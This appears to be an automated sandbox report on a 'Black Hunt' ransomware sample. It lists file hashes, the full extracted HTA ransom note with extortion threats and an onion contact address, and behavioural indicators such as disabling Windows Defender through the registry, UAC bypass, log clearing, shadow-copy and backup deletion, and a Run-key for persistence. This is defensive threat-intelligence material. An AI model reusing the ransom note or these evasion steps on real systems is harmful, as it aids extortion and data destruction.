dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:07

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General

Target

dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Size

707KB
MD5

749f2f05737505c52ebf1924d5c949b2
SHA1

8c920cafa6d6d6fe12d48364de20e8a2636d7037
SHA256

dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab
SHA512

f93dc4cc3178a0c7536736849a665becbac94f22b224e3ee078fcdb4dca90cae980a36ad19b47dfe8b44b5ca11b34e171164f3fe6e75cf0dd371236f6ba2dfdc
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1e8tvnh:6uaTmkZJ+naie5OTamgEoKxLWVZh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> RxUCxyp0sPhMl77V </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2884	fsutil.exe
2784	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2776	wevtutil.exe
1720	wevtutil.exe
2684	wevtutil.exe
824	wevtutil.exe
2876	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1560	bcdedit.exe
2948	bcdedit.exe
2312	bcdedit.exe
204	bcdedit.exe

Renames multiple (2879) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2664	wbadmin.exe
2516	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2096	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\H:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\R:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\J:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\G:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\K:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\X:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\B:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\T:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\U:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\I:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\O:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\S:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\L:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\Z:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\Y:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\P:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\N:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\M:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\V:	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jre7\lib\cmm\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Cocos	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.xml	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\203x8subpicture.png	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jawt.h	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-modules-appui.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\Parity.fx	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Pyongyang	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Petersburg	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Macquarie	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\New_Salem	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
